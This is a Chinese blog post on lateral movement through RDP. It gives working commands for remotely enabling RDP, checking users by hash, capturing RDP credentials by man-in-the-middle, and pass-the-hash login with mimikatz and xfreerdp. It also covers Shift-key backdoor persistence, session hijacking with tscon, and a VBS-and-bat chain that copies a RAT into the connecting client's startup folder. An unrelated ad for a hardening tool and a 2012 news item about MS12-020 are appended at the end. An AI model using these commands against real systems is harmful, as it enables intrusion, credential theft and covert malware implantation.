rdp连接工具_横向渗透之 [RDP]

本文详细介绍RDP服务的启动与配置方法,包括确定服务状态、启动服务、用户登录前的有效用户获取及权限判断等内容。此外,还介绍了RDP登录的具体操作流程,包括Windows和Linux下的明文及hash登录方式,以及RDP权限维持方法如关闭安全认证、Shift后门利用等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

e0b29bc46fb7b33b676f774261c36d19.png
重生信息安全
T3ngYu

一、RDP 服务确定和启动

1. 确定RDP服务是否启动和服务端口

(1)注册表查询

REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections # 查看RDP服务是否开启:1关闭,0开启 REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server WinStationsRDP-Tcp" /v PortNumber # 查看RDP服务的端口

00d71a2c0c7da713a4c20f102fedbba6.png

(2)进程查看

tasklist /svc | find "TermService" # 找到对应服务进程的PID netstat -ano | find "3220" # 找到进程对应的端口号

2. 启动RDP服务

(1)cmd 本地注册表启动

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConne ctions /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWi nStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f # 监听 3389 端口

也可以通过reg配置文件的方式启动:regedit /s startrdp.reg

Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server] "fDenyTSConnections"=dword:00000000 [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStation sRDP-Tcp] "PortNumber"=dword:00000d3d

(2) 利用Wmic 启动远程主机的RDP服务

wmic /node: "192.168.1.160" /USER:"192.168.1.160administrator" PATH win32_ermi nalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 # 需要输入远 程机器上管理员密码

二、RDP 用户登录前

1. 有效用户获得&确定

(1) 明文密码:RDP爆破,SMB爆破(使用MSF中的smb_login 模块可以确定有效用户并判断是否是管理员组的)等工具

(2) Hash:Impacket工具包中的rdp_check.py 脚本可以通过hash确定目标机器是否存在枚举的用户

python rdp_check.py ./administrator@10.97.45.11 -hashes :618B18AD4171A53695DD99 7AB02D55C4

当用户存在时会提示 Access Granted,否者提示 Access Denied

(3) RDP中间人:Seth

./seth.sh eth0 10.0.0.2(myip) 10.0.0.3(client) 10.0.0.1(server) # 在10.0.0.2机器上,劫持由10.0.0.3向10.0.0.1的RDP申请,获得登录明文

933ab482cdc469e9a156e9fa2ecebf6d.png

执行后客户端链接服务器会失败,过段时间恢复正常

2. 判断能否直接登录

通过上述步骤确定用户及密码后,如果用户是管理员组的可以直接通过别的方式在远程 主机上执行命令或者反弹shell,利用query user查看在线的用户或者利用tasklist查看远程主机上的进程是否有目标用户的进行判断。

f5597fd727e4d3a7407168d5fb3c1425.png

但是如果普通的用户,那需要进一步判断目标系统来确定合适的登录时机

(1) Windows XP、2003 支持统一用户登陆多地登陆互不影响,使用query user查看在线用户,XP没有该命令也可以使用taskmgr从任务管理器查看,同一权限下可以相互注销会话。

a17f14e6d19b2fb7f6def38cd758e8ee.png

(2) 非服务器版本的Windows 系统默认只允许一个账户登录。当远程用户登录时使用与原系统相同的账户,原系统将切换到登陆页面,并会看到登陆的机器名

0e42e3ca88a8ac04366e2b8ecf2c606e.png

如果使用不同的账户,原系统将弹窗提示其他用户已登陆到此计算机

16a3478f5101e3b72734ad4ccec1b4ab.png

选择继续后,原系统将会提示是否端口当前链接(30s后默认选择同意,退出到登陆页面)

f4c8d1e05306def38dc432fa4d702079.png

三、RDP 登录

1. Windows 明文登录

mstsc.exe
mstsc.exe /console /v:192.168.1.5 /admin # 如果登录用户数量达到限制,可以使用该命令强制踢出一个用户

2. Linux 明文登录

rdesktop 192.168.1.5:3389

3. Windows上用户hash 登录

(1) mstsc.exe

Server需要开启 Restricted Admin mode,在Windows 8.1Windows Server 2012 R2中默认开启,同时如果Win 7 和Windows Server 2008 R安装了2871997、2973351补丁也支持;Client需要支持 Restricted Admin mode,当前系统不支持,链接时将出现如下:

3263ccffc40b8b25f6bb5bb95d737859.png

可以通过如下命令开启 Restricted Admin mode

REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin / t REG_DWORD /d 00000000 /f

开启后使用:mstsc.exe /restrictedadmin 进行登录不需要密码,将使用当前用户的hash 进行验证

828f69732e451e646a69d8994063b705.png

(2) mimikatz.exe

mimikatz.exe # 需要管理员权限
privilege::debug
sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2 e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"

0d50ffd8f9169efdac8217b165e740c9.png

4 . Linux上使用用户hash登录

apt-get update
apt-get install freerdp-x11 # 安装支持 /pth 参数的版本
xfreerdp /u:administrator /p:test123! /v:192.168.62.136 /cert-ignore # 使用明文的登录
xfreerdp /u:administrator /pth:d25ecd13fddbb542d2e16da4f9e0333d /v:192.168.62.1
36 /cert-ignore # 使用hash登录

39a1e402a30ac9e033a70323cd11cef9.png

PS:这里有一个坑,高版本xfreerdp不支持 /pth 参数,可以使用上面的安装命令安装支持/pth的版本,也可以使用kali/parrot中默认安装好

89a01dc97511d37ef0114c8e19de3058.png

9b9b7faf2b6d6dedd2ccbedf948ee268.png

PS2:如果RDP服务启动了,客户端无法链接,可能是防火墙配置的问题,可以执行如下命 令添加防火墙规则允许3389端口TCP通信

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in l
ocalport=3389 action=allow

PS3:如果出现远程连接出现身份验证错误,要求的函数不支持,解决方法:

REG add HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemCredSSP Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f

四、关于 RDP 权限维持方法

1. 关闭 RDP 安全认证

当服务器开启安全认证时,必须先通过登陆密码才能进入远程桌面;如果服务端用的是 不安全的认证方式,即可以先远程链接后登陆可以触发Shift后门

3e6d211ed62ee7a8ac5787b24fc7a406.png

如何设置不安全的连接,去掉”仅允许使用网络级别的身份验证的远程桌面的计算机连 接”选项,需要注意的是先上系统后验证也会在计算机本地留下一定的进程、日志。

edce3f54a33b87c42ed59331dc440859.png

2. Shift后门 + RDP劫持

配合上面的关闭RDP安全认证方式,利用Shift后门可以让攻击者快速获得System权 限,结合RDP劫持可以实现无需创建用户、不更改劫持用户登录时间、解锁劫持用户界面、 等功能。注意RDP劫持需要System权限

tscon id # (要劫持的用户id,query user查看)

另外一种方法可以通过创建服务激活

sc create rdpjack binpath="cmd.exe /k tscon 2 /dest:console" net start radjack # 执行后切换到目标界面下

b609548e9218cc03d808bc4ba9151c0e.png

Mimikatz中也有相关的利用模块

mimikatz.exe 
ts::sessions 
ts::remote /id:1
privilege::debug 
token::elevate 
ts::remote /id:1

3. 开启多人登录模式

设置完成后,使用相同的用户登录互不影响,不会有弹窗提示、锁屏等状况,和 Windows Server 2003相同。

(1)手动设置:将计算机配置(Computer Configuration)->管理模板 (Administrative Templates)->Windows组件(Windows Components)->远程桌面 服务(Remote Desktop Services)->远程桌面会话主机(Remote Desktop Session Host)->链接(Connections),禁用”将远程桌面服务的用户限制到单独的远程桌面会 话”(Restrict Remote Desktop Services users to a single Remote Desktop Services session) (2)Mimikatz 开启多用户登录,支持Win 7 及以前的版本系统

mimikatz.exe
privilege::debug
ts::multirdp

bb99019343fb8cdeacad98485b731041.png

PS:使用与原系统相同的账户,原系统还是会被切换到登录界面;不同账户登陆成功 (3)RDPwrap:支持Win Vista - Win10

RDPWinst.exe -i is # 安装 
RDPWinst.exe -u # 卸载

(4)SharpDoor:仅使用于Win 10 开启多会话RDP

五、RDP 服务器反打客户端

需要客户端RDP链接时,开启磁盘共享(将本地磁盘挂在到服务器上)才能正常利用

ebab03319db680bd46004625d951c4a3.png

1. RDPInception:在服务端开启,修改bat脚本执行powershell、exe或者dll,等待客 户端连接拷贝到客户端启动项中(需要客户端共享文件)执行,每次启动尝试链接。

2. 手动利用过程:假设客户端和登录服务器的用户都是Administrator

(1)在服务器端设置Administrator 启动项 目,C:UsersAdministratorAppDataRoamingMicrosoftWindowsStartMenuPrograms

Startuppowershell.vbs 作用是无弹窗执行bat脚本

set ws=WScript.CreateObject("WScript.Shell") ws.Run "C:Windows.bat",0 ws.Run "cmd /c del C:WindowsTempservice.exe",0

(2)Windows.bat 脚本内容实现马(service.exe)拷贝到客户端的启动目录

copy "C:WindowsTempservice.exe" "tsclientcUsersAdministratorAppDataRo amingMicrosoftWindowsStart MenuProgramsstartupservice.exe"

也可以根据实际情况,将Rat拷贝到客户端的其他目录,将激活脚本拷贝到客户端启动目 录;如果不出网的情况下,也可以将exe替换成要执行的脚本 。

RDP(Remote Desktop Protocol)终端用户权限的管理和设置工具,用于管理和设置Windows远程桌面连接中的用户权限,有效防止RDP远程连接过程中的用户权限漏洞。 具体功能如下: 1、禁止关机、注销、禁用命令行、任务管理器、控制面板等。 2、设置用户帐号的登录时间限制,过期时间限制。例如只允许周一至周五的9:00~18:00登录。 3、隐藏或禁用磁盘内容,只允许运行特定的应用程序或禁止运行指定的应用程序。 该软件需要 Microsoft .NET Framework 2.0 运行环境。 Windows再爆超高危漏洞 黑客一个指令看光用户隐私 3月13日晚间,微软发布了今年3月份的安全公告,共更新了6个漏洞。其中一个名为MS12-020的漏洞为超高危漏洞,黑客可利用该漏洞特别构造RDP协议包来远程控制用户电脑或服务器,该漏洞影响Windows XP、Vista、2003、win7和2008等主流操作系统。考虑到远程桌面服务在系统中默认打开,大量用户正在使用此服务,瑞星特此发布紧急提示,告知用户尽快安装此漏洞补丁。目前,瑞星安全助手(http://tool.ikaka.com/)已经对此次微软更新的漏洞列表提供了自动安装修复功能据介绍,MS12-020漏洞存在于Windows的远程桌面协议中,如果攻击者向开启远程桌面的计算机发送一个特别构造的RDP协议包请求,那么就能对其进行远程代码执行,也就是通常上说的可对电脑进行远程控制。 瑞星安全专家表示,与以往黑客通过病毒来实现对用户电脑控制的方式不同,此次漏洞导致黑客只需要发送一个协议数据包,便可以获得未安装此漏洞补丁电脑的本地最高权限,进而获取用户电脑上存储的所有资料。用户虽然可以通过关闭远程桌面服务来暂时避免受攻击,但最彻底的解决办法仍是第一时间安装微软的相关漏洞补丁。 附: 微软2012年3月份安全公告地址:http://technet.microsoft.com/en-us/security/bulletin/ms12-mar MS12-020漏洞说明:http://technet.microsoft.com/en-us/security/bulletin/ms12-020 解决方案,可以通过RDP终端安全设置工具 搞定安全问题!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值